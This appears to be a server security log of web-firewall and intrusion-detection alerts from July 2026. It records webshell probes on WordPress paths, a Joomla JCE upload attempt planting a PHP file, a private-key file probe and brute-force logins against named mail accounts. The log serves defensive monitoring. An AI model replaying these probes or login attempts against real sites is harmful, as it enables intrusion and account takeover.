2026-07-21 02:13:17 dovecot_login authenticator failed for H=(223-197-153-135.static.imsbiz.com) [205.209.67.3]:48750: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/index.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.202.30.101
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/kallanigroup/public_html/wp-includes/SimplePie||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 68.71.254.6
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.zmtc.com\">\xe8\x8a\x9d\xe9\xba\xbb\xe7\xa7\x91\xe6\x8a\x80\xe8\xae\xaf</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/kallanigroup/public_html/wp-admin||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 130.180.229.162
country_id: 6252001
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10189||QS:add-to-cart=10189||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://24hourhvacrepair2.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 162.81.231.216
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ce3085726 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.114.39.176
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/kallanigroup/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.114.39.176
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.160.107
country_id: 99237
description:
2026-07-21 02:34:44 dovecot_plain authenticator failed for H=(rhomot) [65.20.160.107]:38654: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.114.39.176
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.114.39.176
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-includes/images/smilies/about.php||SC:/home/kallanigroup/public_html/wp-includes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.0.217.26
country_id: 617790
description:
2026-07-21 02:40:17 dovecot_plain authenticator failed for H=(equeter) [212.0.217.26]:38302: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.118.46.123
country_id: 3573591
description:
2026-07-21 02:41:40 dovecot_plain authenticator failed for H=(localhost) [181.118.46.123]:4044: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 124.209.87.147
country_id: 1861060
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10191||QS:add-to-cart=10191||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.56.8.190
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e13774716 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.212.161
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1a1764821 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://acrepair2.info\">site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.26
country_id: 1668284
description:
2026-07-21 02:56:54 dovecot_login authenticator failed for H=([202.111.183.254]) [101.13.5.26]:48546: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.135.189.150
country_id: 6252001
description:
2026-07-21 02:57:16 dovecot_login authenticator failed for H=c-73-135-189-150.hsd1.md.comcast.net ([184.181.217.198]) [73.135.189.150]:3209: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.24.168
country_id: 2921044
domain: www.idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.idealloanz.com.au/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.2.92
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.169.167
country_id: 6252001
domain: www.idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.idealloanz.com.au/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.34.93
country_id: 6252001
domain: www.idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.idealloanz.com.au/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.140
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.167.71
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au/robots.txt HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.173.68
country_id: 6252001
domain: www.idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.idealloanz.com.au/robots.txt HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.45.68
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.5.18
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.12.200
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.34
country_id: 1733045
description:
2026-07-21 03:00:32 dovecot_login authenticator failed for H=([37.232.207.65]) [49.124.146.34]:48002: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.229.126.168
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:23.229.126.168||TA:23.229.126.168||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.171.81
country_id: 6252001
domain: www.idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.idealloanz.com.au/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.227.50
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-07-21 03:01:11 dovecot_login authenticator failed for H=([182.95.181.50]) [114.202.80.152]:45223: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 75.143.99.250
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/732562092 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.158
country_id: 1269750
description:
2026-07-21 03:04:32 dovecot_login authenticator failed for H=(mail.protetika.sk) [182.78.112.158]:44624: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-21 03:04:43 dovecot_login authenticator failed for H=(nsg-corporate-130.221.187.122.airtel.in) [182.95.150.106]:44870: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.181
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 touring [<a href=\"https://www.google.vg/url?q=https%3A%2F%2Fwww.wy881688.com%2Fhome.php%3Fmod%3Dspace%26uid%3D869427%26do%3Dprofile\">https://www.google.vg/url?q=https://www.wy881688.com/home.php?mod=space&uid=869427&do=profile</a>] (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 171.237.237.169
country_id: 1562822
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10306||QS:add-to-cart=10306||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.29.48.253
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/8c1394857 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.156.228.26
country_id: 2542007
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9e2894522 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.21.249.70
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a7619362 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://bbs.abcdv.net/home.php?mod=space&uid=1044753&do=profile\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-21 03:27:14 dovecot_login authenticator failed for H=([98.168.101.166]) [61.37.150.6]:25180: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-21 03:27:31 dovecot_login authenticator failed for H=([221.195.208.238]) [103.67.152.201]:43778: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.121.5.111
country_id: 630336
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/28179584 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.225.88.78
country_id: 3996063
description:
2026-07-21 03:35:50 dovecot_plain authenticator failed for H=(localhost) [177.225.88.78]:7845: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 125.167.119.225
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/shadowxfriska_132s60.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 125.167.119.225
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shadowxfriska_132s60.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 125.167.119.225
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/shadowxfriska_132s60.php||SC:/home/alnay/public_html/images/shadowxfriska_132s60.php||


plugin: modsec
rule: 77469916
abuser: 125.167.119.225
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shadowxfriska_132s60.phtml||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 125.167.119.225
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/shadowxfriska_132s60.phtml||SC:/home/alnay/public_html/images/shadowxfriska_132s60.phtml||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.98.249.79
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/77351254 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.131
country_id: 1522867
description:
2026-07-21 03:58:02 dovecot_login authenticator failed for H=(47-60-139-70.red-acceso.airtel.net) [37.208.46.131]:44254: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-21 03:58:30 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([119.207.30.60]) [221.120.4.61]:42764: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.231.253.255
country_id: 1269750
description:
2026-07-21 04:03:46 dovecot_plain authenticator failed for H=(localhost) [43.231.253.255]:50216: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.9.53.196
country_id: 6252001
description:
2026-07-21 04:05:46 dovecot_login authenticator failed for H=(nsg-corporate-253.228.187.122.airtel.in) [170.9.53.196]:34318: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.156.113.122
country_id: 337996
description:
2026-07-21 04:05:55 dovecot_login authenticator failed for H=([180.94.76.126]) [197.156.113.122]:39116: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.115.147.180
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/941123856 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.48.176.134
country_id: 3686110
description:
2026-07-21 04:12:07 dovecot_login authenticator failed for H=([125.139.87.30]) [181.48.176.134]:43142: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-21 04:19:03 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com (mail.koffy.finance) [94.255.255.26]:59744: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-21 04:19:14 dovecot_login authenticator failed for H=([197.219.208.38]) [117.250.107.180]:46628: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-21 04:25:10 dovecot_login authenticator failed for H=([184.151.85.100]) [13.68.214.34]:54708: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-21 04:25:21 dovecot_login authenticator failed for H=([59.9.222.197]) [182.95.106.118]:41844: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.25.234.133
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1d1383107 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-07-21 04:28:58 dovecot_login authenticator failed for H=([103.130.207.227]) [178.244.215.186]:50920: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-21 04:29:10 dovecot_login authenticator failed for H=([196.191.212.236]) [49.158.208.139]:45268: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 174.162.121.10
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/572904836 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 14.248.69.48
country_id: 1562822
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10193||QS:add-to-cart=10193||RSV:8.32||T:APACHE||


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul 21 04:37:39 vps dovecot[2658331]: master: Dovecot v2.4.4 (8b687aa65c) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.205.223.69
country_id: 2802361
domain: www.globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/privatekey.key||User:globalgroupoman||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/travelinbh/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.202.11.42
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c11077374 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/travelinbh/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.59.226
country_id: 337996
description:
Jul 21 04:54:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.59.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-21 04:54:11 dovecot_login authenticator failed for H=([1.223.184.226]) [196.189.59.226]:48435: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.245.187.130
country_id: 6252001
description:
Jul 21 04:54:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.245.187.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.245.187.130
country_id: 6252001
description:
2026-07-21 04:54:29 dovecot_login authenticator failed for H=([104.200.135.42]) [163.245.187.130]:50068: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.114.39.176
country_id: 6252001
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/admin.php||SC:/var/www/html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.38.248.215
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e6247762 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 40.114.39.176
country_id: 6252001
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/var/www/html/wp-includes||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.114.39.176
country_id: 6252001
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/var/www/html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-21 04:57:29 dovecot_login authenticator failed for H=([218.147.102.60]) [103.83.23.169]:45001: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.195.9.20
country_id: 2661886
description:
Jul 21 04:59:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.195.9.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-21 04:59:09 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([190.57.233.133]) [85.195.9.20]:60116: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.171.95.112
country_id: 1835841
description:
Jul 21 04:59:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.171.95.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.95.112
country_id: 1835841
description:
2026-07-21 04:59:33 dovecot_login authenticator failed for H=([112.6.11.184]) [121.171.95.112]:50940: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-21 05:00:50 dovecot_login authenticator failed for H=([59.90.111.74]) [197.219.228.242]:59420: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.73.169.149
country_id: 2186224
description:
Jul 21 05:00:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.73.169.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.149
country_id: 2186224
description:
2026-07-21 05:00:58 dovecot_login authenticator failed for H=([116.38.54.26]) [121.73.169.149]:44858: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.112.158
country_id: 1269750
description:
Jul 21 05:01:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.112.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-21 05:00:26 dovecot_login authenticator failed for H=([183.247.171.186]) [50.217.40.11]:44072: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.158
country_id: 1269750
description:
2026-07-21 05:01:09 dovecot_login authenticator failed for H=([222.101.131.150]) [182.78.112.158]:40726: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.126.217.41
country_id: 1210997
description:
Jul 21 05:01:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.126.217.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.126.217.41
country_id: 1210997
description:
2026-07-21 05:01:28 dovecot_login authenticator failed for H=([196.0.34.106]) [103.126.217.41]:59127: 535 Incorrect authentication data (set_id=cil)


